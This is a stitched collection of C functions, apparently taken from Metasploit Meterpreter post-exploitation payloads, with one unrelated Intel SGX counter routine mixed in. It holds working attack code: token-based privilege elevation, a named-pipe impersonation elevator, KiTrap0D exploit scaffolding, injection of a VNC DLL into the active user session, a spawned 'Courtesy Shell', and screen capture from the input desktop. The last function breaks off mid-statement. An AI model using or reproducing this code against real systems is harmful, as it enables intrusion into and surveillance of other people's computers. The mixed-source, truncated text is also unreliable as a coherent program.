/* * @brief Get the token information for the current thread/process. * @param pTokenUser Buffer to receive the token data. * @param dwBufferSize Size of the buffer that will receive the token data. * @returns Indication of success or failure. */ DWORD get_user_token(LPVOID pTokenUser, DWORD dwBufferSize) { DWORD dwResult = 0; DWORD dwReturnedLength = 0; HANDLE hToken; do { if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)) { if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { BREAK_ON_ERROR("[TOKEN] Failed to get a valid token for thread/process."); } } if (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwReturnedLength)) { BREAK_ON_ERROR("[TOKEN] Failed to get token information for thread/process."); } dwResult = ERROR_SUCCESS; } while (0); return dwResult; }
/* * Extract the vnc.dll into the provided DLL_BUFFER. */ DWORD loader_vncdll( DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_SUCCESS; HRSRC hVncResource = NULL; HGLOBAL hVncResourceLoad = NULL; LPVOID lpVncDllBuffer = NULL; DWORD dwVncDllSize = 0; #ifdef _WIN64 DWORD dwCompiledArch = PROCESS_ARCH_X64; #else DWORD dwCompiledArch = PROCESS_ARCH_X86; #endif do { if( !pDllBuffer ) BREAK_WITH_ERROR( "[LOADER] Init. pDllBuffer is null", ERROR_INVALID_PARAMETER ); pDllBuffer->dwPE64DllLenght = 0; pDllBuffer->lpPE64DllBuffer = NULL; pDllBuffer->dwPE32DllLenght = 0; pDllBuffer->lpPE32DllBuffer = NULL; hVncResource = FindResource( (HMODULE)hAppInstance, "IDR_VNC_DLL", "IMG" ); if( !hVncResource ) BREAK_ON_ERROR( "[LOADER] Init. FindResource failed" ); dwVncDllSize = SizeofResource( (HMODULE)hAppInstance, hVncResource ); if( !dwVncDllSize ) BREAK_ON_ERROR( "[LOADER] Init. SizeofResource failed" ); hVncResourceLoad = LoadResource( (HMODULE)hAppInstance, hVncResource ); if( !hVncResourceLoad ) BREAK_ON_ERROR( "[LOADER] Init. LoadResource failed" ); lpVncDllBuffer = LockResource( hVncResourceLoad ); if( !lpVncDllBuffer ) BREAK_ON_ERROR( "[LOADER] Init. LockResource failed" ); dprintf( "[LOADER] Init. lpVncDllBuffer=0x%08X, dwVncDllSize=%d", lpVncDllBuffer, dwVncDllSize ); if( dwCompiledArch == PROCESS_ARCH_X64 ) { pDllBuffer->dwPE64DllLenght = dwVncDllSize; pDllBuffer->lpPE64DllBuffer = lpVncDllBuffer; } else if( dwCompiledArch == PROCESS_ARCH_X86 ) { pDllBuffer->dwPE32DllLenght = dwVncDllSize; pDllBuffer->lpPE32DllBuffer = lpVncDllBuffer; } } while( 0 ); SetLastError( dwResult ); return dwResult; }
/* * @brief Get the SID of the current process/thread. * @param pRemote Pointer to the \c Remote instance. * @param pRequest Pointer to the \c Request packet. * @returns Indication of success or failure. */ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) { DWORD dwResult; BYTE tokenUserInfo[4096]; LPSTR pSid = NULL; Packet *pResponse = packet_create_response(pRequest); do { dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo)); if (dwResult != ERROR_SUCCESS) { break; } if (!ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid)) { BREAK_ON_ERROR("[GETSID] Unable to convert current SID to string"); } } while (0); if (pSid != NULL) { packet_add_tlv_string(pResponse, TLV_TYPE_SID, pSid); LocalFree(pSid); } packet_transmit_response(dwResult, pRemote, pResponse); return dwResult; }
/* * @brief Get the UID of the current process/thread. * @param pRequest Pointer to the \c Request packet. * @returns Indication of success or failure. * @remark This is a helper function that does the grunt work * for getting the user details which is used in a few * other locations. */ DWORD populate_uid(Packet* pResponse) { DWORD dwResult; CHAR cbUsername[1024], cbUserOnly[512], cbDomainOnly[512]; BYTE tokenUserInfo[4096]; DWORD dwUserSize = sizeof(cbUserOnly), dwDomainSize = sizeof(cbDomainOnly); DWORD dwSidType = 0; memset(cbUsername, 0, sizeof(cbUsername)); memset(cbUserOnly, 0, sizeof(cbUserOnly)); memset(cbDomainOnly, 0, sizeof(cbDomainOnly)); do { if ((dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo))) != ERROR_SUCCESS) { break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType)) { BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data"); } // Make full name in DOMAIN\USERNAME format _snprintf(cbUsername, 512, "%s\\%s", cbDomainOnly, cbUserOnly); cbUsername[511] = '\0'; packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername); dwResult = EXIT_SUCCESS; } while (0); return dwResult; }
/* * Grab a useful Handle to NTVDM. */ BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess ) { DWORD dwResult = ERROR_SUCCESS; PROCESS_INFORMATION pi = {0}; STARTUPINFO si = {0}; ULONG i = 0; do { si.cb = sizeof( STARTUPINFO ); // Start the child process, which should invoke NTVDM... if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" ); dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId ); // Get more access *hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId ); if( *hProcess == NULL ) { TerminateProcess( pi.hProcess, 'SPWN' ); CloseHandle( pi.hThread ); CloseHandle( pi.hProcess ); BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" ); } dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess ); CloseHandle( pi.hThread ); CloseHandle( pi.hProcess ); } while( 0 ); if( dwResult == ERROR_SUCCESS ) return TRUE; return FALSE; }
/* * Switch to the input desktop and set it as this threads desktop. */ HDESK vncdll_getinputdesktop( BOOL bSwitchStation ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HDESK hInputDesktop = NULL; HWND hDesktopWnd = NULL; do { if( bSwitchStation ) { // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" ); } // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); } while( 0 ); return hInputDesktop; }
/* * Enable or disable a privilege in our processes current token. */ BOOL elevate_priv( char * cpPrivilege, BOOL bEnable ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; TOKEN_PRIVILEGES priv = {0}; do { if( !cpPrivilege ) BREAK_WITH_ERROR( "[ELEVATE] elevate_priv. invalid arguments", ERROR_BAD_ARGUMENTS ); if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_priv. OpenProcessToken failed" ); priv.PrivilegeCount = 1; if( bEnable ) priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else priv.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED; if( !LookupPrivilegeValue( NULL, cpPrivilege, &priv.Privileges[0].Luid ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_priv. LookupPrivilegeValue failed" ); if( !AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_priv. AdjustTokenPrivileges failed" ); } while( 0 ); CLOSE_HANDLE( hToken ); SetLastError( dwResult ); if( dwResult == ERROR_SUCCESS ) return TRUE; return FALSE; }
/* * Send a buffer to a named pipe server. */ DWORD screenshot_send( char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize ) { DWORD dwResult = ERROR_ACCESS_DENIED; HANDLE hPipe = NULL; DWORD dwWritten = 0; DWORD dwTotal = 0; do { hPipe = CreateFileA( cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( !hPipe ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. CreateFileA failed" ); if( !WriteFile( hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot_send. WriteFile JPEG length failed" ); if( !dwJpegSize || !pJpegBuffer ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH ); while( dwTotal < dwJpegSize ) { if( !WriteFile( hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL ) ) break; dwTotal += dwWritten; } if( dwTotal != dwJpegSize ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH ); dwResult = ERROR_SUCCESS; } while( 0 ); CLOSE_HANDLE( hPipe ); return dwResult; }
/* * Elevate a pipe server by allowing it to impersonate us. */ BOOL elevator_namedpipeservice( char * cpServiceName ) { DWORD dwResult = ERROR_SUCCESS; SERVICE_TABLE_ENTRY servicetable[2] = {0}; do { if( !cpServiceName ) BREAK_WITH_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. cpServiceName == NULL", ERROR_INVALID_HANDLE ); lpServiceName = _strdup( cpServiceName ); hTerminate = CreateEvent( 0, TRUE, FALSE, 0 ); if( !hTerminate ) BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. CreateEvent hTerminate failed" ); servicetable[0].lpServiceName = lpServiceName; servicetable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)elevator_serviceproc; servicetable[1].lpServiceName = NULL; servicetable[1].lpServiceProc = NULL; if( !StartServiceCtrlDispatcher( servicetable ) ) BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. StartServiceCtrlDispatcher failed" ); if( WaitForSingleObject( hTerminate, INFINITE ) != WAIT_OBJECT_0 ) BREAK_ON_ERROR( "[ELEVATOR-NAMEDPIPE] elevator_pipe. WaitForSingleObject failed" ); dwResult = dwElevateStatus; } while( 0 ); CLOSE_HANDLE( hTerminate ); return dwResult; }
/******************************************************************* ** Function name: calculate_owner_id ** Descrption: ** Calculate VMC Access Control Information. An ID of the creator of a VMC is defined as: ** MR=[]; ** If (OwnerPolicy.MRSIGNER==1) MR=MR||REPORT(creator).MRSIGNER; ** If (OwnerPolicy.MREnclave==1) MR=MR||REPORT(creator).MRENCLAVE; ** MaskedAttrs = REPORT(creator).ATTRIBUTES & OwnerAttrMask ** OwnerID =SHA256(MR||MaskedAttrs|| REPORT(creator).ProdID)); *******************************************************************/ static sgx_status_t calculate_owner_id( const isv_attributes_t &owner_attributes, // [IN] ISV's attributes info const uint16_t mc_policy, // [IN] user's access control policy const uint8_t* mc_att_mask, // [IN] attribute mask void* owner_id) // [OUT] ID of the creator of VMC { sgx_sha_state_handle_t ctx = NULL; sgx_status_t sgx_ret = SGX_SUCCESS; assert(owner_id != NULL && mc_att_mask != NULL); do { sgx_ret = sgx_sha256_init(&ctx); BREAK_ON_ERROR(sgx_ret); if (mc_policy & MC_POLICY_SIGNER) { sgx_ret = sgx_sha256_update((const uint8_t *)(&owner_attributes.mr_signer), sizeof(owner_attributes.mr_signer), ctx); BREAK_ON_ERROR(sgx_ret); } if (mc_policy & MC_POLICY_ENCLAVE) { sgx_ret = sgx_sha256_update((const uint8_t *)(&owner_attributes.mr_enclave), sizeof(owner_attributes.mr_enclave), ctx); BREAK_ON_ERROR(sgx_ret); } uint64_t masked_att_flags = owner_attributes.attribute.flags & *((const uint64_t*)mc_att_mask); sgx_ret = sgx_sha256_update((const uint8_t *)&masked_att_flags, sizeof(masked_att_flags), ctx); BREAK_ON_ERROR(sgx_ret); uint64_t masked_att_xfrm = owner_attributes.attribute.xfrm & *((const uint64_t*)(mc_att_mask+8)); sgx_ret = sgx_sha256_update((const uint8_t *)&masked_att_xfrm, sizeof(masked_att_xfrm), ctx); BREAK_ON_ERROR(sgx_ret); sgx_ret = sgx_sha256_update((const uint8_t *)(&owner_attributes.isv_prod_id), sizeof(sgx_prod_id_t), ctx); BREAK_ON_ERROR(sgx_ret); sgx_ret = sgx_sha256_get_hash(ctx, (sgx_sha256_hash_t*)owner_id); BREAK_ON_ERROR(sgx_ret); } while (0); if(ctx) { sgx_status_t ret = sgx_sha256_close(ctx); sgx_ret = (sgx_ret != SGX_SUCCESS)? sgx_ret : ret; } return sgx_ret; }
/* * Create the Metasploit Courtesy Shell */ VOID vncdll_courtesyshell( HDESK desk ) { DWORD dwResult = ERROR_SUCCESS; HWND hShell = NULL; STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; char name_win[256] = {0}; char name_des[256] = {0}; char name_all[1024] = {0}; do { dprintf( "[VNCDLL] vncdll_courtesyshell. desk=0x%08X", desk ); memset(name_all, 0, sizeof(name_all)); GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &name_win, 256, NULL ); GetUserObjectInformation( desk, UOI_NAME, &name_des, 256, NULL ); _snprintf( name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des ); memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFOA) ); si.cb = sizeof(STARTUPINFOA); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USEFILLATTRIBUTE; si.wShowWindow = SW_NORMAL; si.lpDesktop = name_all; si.lpTitle = "Metasploit Courtesy Shell (TM)"; si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE; if( !CreateProcess( NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_courtesyshell. CreateProcess failed" ); CloseHandle( pi.hThread ); CloseHandle( pi.hProcess ); Sleep( 1000 ); hShell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" ); if( !hShell ) break; SetWindowPos( hShell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE ); } while( 0 ); }
/* * The main service routine, which we use to connect a named pipe server before finishing. */ VOID elevator_serviceproc( DWORD argc, LPSTR * argv ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hPipe = NULL; char cServicePipe[MAX_PATH] = {0}; DWORD dwBytes = 0; BYTE bByte = 0; do { hStatus = RegisterServiceCtrlHandler( lpServiceName, (LPHANDLER_FUNCTION)elevator_servicectrl ); if( !hStatus ) BREAK_ON_ERROR( "[ELAVATOR-NAMEDPIPE] elevator_service_proc. RegisterServiceCtrlHandler failed" ); status.dwServiceType = SERVICE_WIN32_OWN_PROCESS; status.dwServiceSpecificExitCode = 0; elevator_servicestatus( SERVICE_RUNNING, NO_ERROR, 0 ); _snprintf( cServicePipe, MAX_PATH, "\\\\.\\pipe\\%s", lpServiceName ); while( TRUE ) { hPipe = CreateFileA( cServicePipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hPipe ) { if( WriteFile( hPipe, &bByte, 1, &dwBytes, NULL ) ) break; CLOSE_HANDLE( hPipe ); } Sleep( 50 ); } } while( 0 ); CLOSE_HANDLE( hPipe ); dwElevateStatus = dwResult; elevator_servicestatus( SERVICE_STOPPED, NO_ERROR, 0 ); SetEvent( hTerminate ); }
/* * Find a suitable exe to host the exploit in. */ BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize ) { DWORD dwResult = ERROR_SUCCESS; char cWinDir[MAX_PATH] = {0}; DWORD dwIndex = 0; char * cpFiles[] = { "twunk_16.exe", "debug.exe", "system32\\debug.exe", NULL }; do { if( !GetWindowsDirectory( cWinDir, MAX_PATH ) ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" ); while( TRUE ) { char * cpFileName = cpFiles[dwIndex]; if( !cpFileName ) break; if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir, cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 ) { dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput ); break; } dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput ); if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES ) return TRUE; memset( cpOutput, 0, dwOutputSize ); dwIndex++; } } while(0); return FALSE; }
/* * Entry Point. */ DWORD Init( SOCKET s ) { DWORD dwResult = ERROR_SUCCESS; BOOL bTerminate = FALSE; HANDLE hMessageThread = NULL; DLL_BUFFER VncDllBuffer = {0}; char cCommandLine[MAX_PATH] = {0}; DWORD dwHostSessionId = 0; DWORD dwActiveSessionId = 0; DWORD dwAgentSessionId = 0xFFFFFFFF; BYTE bFlags = 0; __try { do { // We maintain state for the rfb stream so as not to desynchronize the remote // client after session switching and the injection of multiple agents server side. context_init(); sock = s; if( sock == INVALID_SOCKET ) BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER ); if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" ); if( bFlags & VNCFLAG_DISABLECOURTESYSHELL ) AgentContext.bDisableCourtesyShell = TRUE; if( bFlags & VNCFLAG_DISABLESESSIONTRACKING ) bDisableSessionTracking = TRUE; dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags ); // get the vnc dll we will inject into the active session if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" ); // create a socket event and have it signaled on FD_CLOSE hSocketCloseEvent = WSACreateEvent(); if( hSocketCloseEvent == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" ); if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" ); // get the session id that our host process belongs to dwHostSessionId = session_id( GetCurrentProcessId() ); hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL ); if( !hMessageThread ) BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" ); // loop untill the remote client closes the connection, creating a vnc // server agent inside the active session upon the active session changing while( !bTerminate ) { // in case we have been waiting for a session to attach to the physical // console and the remote client has quit, we detect this here... if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 ) { dprintf( "[LOADER] Init. Remote socket closed, terminating1..." ); break; } // get the session id for the interactive session dwActiveSessionId = session_activeid(); // test if there is no session currently attached to the physical console... if( dwActiveSessionId == 0xFFFFFFFF ) { dprintf( "[LOADER] Init. no session currently attached to the physical console..." ); // just try to wait it out... Sleep( 250 ); continue; } else if( dwActiveSessionId == dwAgentSessionId ) { dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." ); // just try to wait it out... Sleep( 250 ); continue; } // do the local process or session injection if( dwHostSessionId != dwActiveSessionId ) { dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId ); if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED ); } else { dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId ); if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED ); } dwAgentSessionId = dwActiveSessionId; // loop, waiting for either the agents process to die, the remote socket to die or // the active session to change... while( TRUE ) { HANDLE hEvents[2] = {0}; DWORD dwWaitResult = 0; // wait for these event to be signaled or a timeout to occur... hEvents[0] = hSocketCloseEvent; hEvents[1] = hAgentProcess; dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 ); // bail if we have somehow failed (e.g. invalid handle) if( dwWaitResult == WAIT_FAILED ) { dprintf( "[LOADER] Init. WaitForMultipleObjects failed." ); // if we cant synchronize we bail out... bTerminate = TRUE; break; } // if we have just timedout, test the current active session... else if( dwWaitResult == WAIT_TIMEOUT ) { // if the agent is still in the active session just continue... if( dwAgentSessionId == session_activeid() ) continue; // if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage) if( bDisableSessionTracking ) { dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." ); Sleep( 500 ); continue; } // if the agent is no longer in the active session we signal the agent to terminate if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() ); dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." ); dwAgentSessionId = 0xFFFFFFFF; // and we go inject a new agent into the new active session (or terminate if session tracking disabled) loader_agent_close(); break; } // sanity check the result for an abandoned mutex else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) ) { dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 ); bTerminate = TRUE; break; } else { // otherwise if we have an event signaled, handle it switch( dwWaitResult - WAIT_OBJECT_0 ) { case 0: dprintf( "[LOADER] Init. Remote socket closed, terminating2..." ); bTerminate = TRUE; if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() ); ReleaseMutex( hAgentCloseEvent ); break; case 1: dprintf( "[LOADER] Init. Injected agent's process has terminated..." ); loader_agent_close(); dwAgentSessionId = 0xFFFFFFFF; break; default: dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult ); bTerminate = TRUE; if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() ); break; } } // get out of this loop... break; } } } while( 0 ); CLOSE_HANDLE( hSocketCloseEvent ); loader_agent_close(); closesocket( sock ); if( hMessageThread ) TerminateThread( hMessageThread, 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" ); } dprintf( "[LOADER] Init. Finished." ); return dwResult; }
DWORD add_windows_os_version(Packet** packet) { DWORD dwResult = ERROR_SUCCESS; CHAR buffer[512] = { 0 }; do { HMODULE hNtdll = GetModuleHandleA("ntdll"); if (hNtdll == NULL) { BREAK_ON_ERROR("[SYSINFO] Failed to load ntoskrnl"); } PRtlGetVersion pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion"); if (pRtlGetVersion == NULL) { BREAK_ON_ERROR("[SYSINFO] Couldn't find RtlGetVersion in ntoskrnl"); } OSVERSIONINFOEXW v = { 0 }; v.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); if (0 != pRtlGetVersion(&v)) { dwResult = ERROR_INVALID_DLL; dprintf("[SYSINFO] Unable to get OS version with RtlGetVersion"); break; } dprintf("[VERSION] Major : %u", v.dwMajorVersion); dprintf("[VERSION] Minor : %u", v.dwMinorVersion); dprintf("[VERSION] Build : %u", v.dwBuildNumber); dprintf("[VERSION] Maint : %S", v.szCSDVersion); dprintf("[VERSION] Platform: %u", v.dwPlatformId); dprintf("[VERSION] Type : %hu", v.wProductType); dprintf("[VERSION] SP Major: %hu", v.wServicePackMajor); dprintf("[VERSION] SP Minor: %hu", v.wServicePackMinor); dprintf("[VERSION] Suite : %hu", v.wSuiteMask); CHAR* osName = NULL; if (v.dwMajorVersion == 3) { osName = "Windows NT 3.51"; } else if (v.dwMajorVersion == 4) { if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) { osName = "Windows 95"; } else if (v.dwMinorVersion == 10) { osName = "Windows 98"; } else if (v.dwMinorVersion == 90) { osName = "Windows ME"; } else if (v.dwMinorVersion == 0 && v.dwPlatformId == VER_PLATFORM_WIN32_NT) { osName = "Windows NT 4.0"; } } else if (v.dwMajorVersion == 5) { if (v.dwMinorVersion == 0) { osName = "Windows 2000"; } else if (v.dwMinorVersion == 1) { osName = "Windows XP"; } else if (v.dwMinorVersion == 2) { osName = "Windows .NET Server"; } } else if (v.dwMajorVersion == 6) { if (v.dwMinorVersion == 0) { osName = v.wProductType == VER_NT_WORKSTATION ? "Windows Vista" : "Windows 2008"; } else if (v.dwMinorVersion == 1) { osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 7" : "Windows 2008 R2"; } else if (v.dwMinorVersion == 2) { osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8" : "Windows 2012"; } else if (v.dwMinorVersion == 3) { osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 8.1" : "Windows 2012 R2"; } } else if (v.dwMajorVersion == 10) { if (v.dwMinorVersion == 0) { osName = v.wProductType == VER_NT_WORKSTATION ? "Windows 10" : "Windows 2016 Tech Preview"; } } if (!osName) { osName = "Unknown"; } if (wcslen(v.szCSDVersion) > 0) { _snprintf(buffer, sizeof(buffer)-1, "%s (Build %lu, %S).", osName, v.dwBuildNumber, v.szCSDVersion); } else { _snprintf(buffer, sizeof(buffer)-1, "%s (Build %lu).", osName, v.dwBuildNumber); } dprintf("[VERSION] Version set to: %s", buffer); packet_add_tlv_string(*packet, TLV_TYPE_OS_NAME, buffer); } while (0); return dwResult; }
/* * Take a screenshot of this sessions default input desktop on WinSta0 * and send it as a JPEG image to a named pipe. */ DWORD screenshot( int quality, DWORD dwPipeName ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; HDESK hInputDesktop = NULL; HDESK hOrigDesktop = NULL; HWND hDesktopWnd = NULL; HDC hdc = NULL; HDC hmemdc = NULL; HBITMAP hbmp = NULL; BYTE * pJpegBuffer = NULL; OSVERSIONINFO os = {0}; char cNamedPipe[MAX_PATH] = {0}; // If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display. int xmetric = SM_CXVIRTUALSCREEN; int ymetric = SM_CYVIRTUALSCREEN; DWORD dwJpegSize = 0; int sx = 0; int sy = 0; do { _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" ) // On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN. if( os.dwMajorVersion <= 4 ) { xmetric = SM_CXSCREEN; ymetric = SM_CYSCREEN; } // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // get the current process's window station so we can restore it later on. hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); // get the threads current desktop so we can restore it later on hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop hDesktopWnd = GetDesktopWindow(); // and get a DC from it so we can read its pixels! hdc = GetDC( hDesktopWnd ); if( !hdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" ); // back up this DC with a memory DC hmemdc = CreateCompatibleDC( hdc ); if( !hmemdc ) 